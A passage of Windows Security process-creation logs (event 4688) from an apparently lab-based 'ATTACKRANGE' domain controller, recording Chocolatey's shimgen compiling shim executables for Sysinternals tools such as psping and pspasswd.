	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\psping64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123422_8957\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123422_8957\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_8957\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_8957\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_8957\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246795
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb20
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xe28
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246794
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe28
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\psping64.exe" --output="C:\ProgramData\chocolatey\bin\psping64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\psping64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246793
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc48
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x4b0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESFDF2.tmp" "c:\ProgramData\chocolatey\bin\CSC93EADE64F6EE49EF91F1BCA9D77D5C9E.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246792
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef0
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x4b0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246791
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4b0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\psping.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123422_6769\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123422_6769\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_6769\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_6769\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_6769\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246790
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd58
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x35c
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246789
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x35c
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\psping.exe" --output="C:\ProgramData\chocolatey\bin\psping.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\psping.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246788
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd24
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xed4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESFD18.tmp" "c:\ProgramData\chocolatey\bin\CSC14A4FBD32C374112B3D3881FEDFDD81.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246787
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe60
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xed4
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246786
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xed4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb38
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pspasswd64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123422_4738\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123422_4738\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_4738\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_4738\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_4738\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246785
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf5c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xb38
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246784
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb38
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
	Creator Process Name:	C:\ProgramData\chocolatey\choco.exe
	Process Command Line:	"C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\pspasswd64.exe" --output="C:\ProgramData\chocolatey\bin\pspasswd64.exe"  --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\pspasswd64.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246783
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfdc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x468
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESFC3D.tmp" "c:\ProgramData\chocolatey\bin\CSCA4923CAB72A14306964F3CB8778DAC4.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246782
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe74
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x468
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246781
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x468
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xeb8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\pspasswd.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123422_2550\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123422_2550\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_2550\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_2550\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123422_2550\Assembly.cs"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246780
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa1c
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xeb8
	Creator Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:41:16 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725
TaskCategory=Process Creation
OpCode=Info
RecordNumber=246779
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		WIN-DC-725
	Logon ID:		0x9318E

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeb8
	New Process Name:	C:\ProgramData\chocolatey\tools\shimgen.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x830
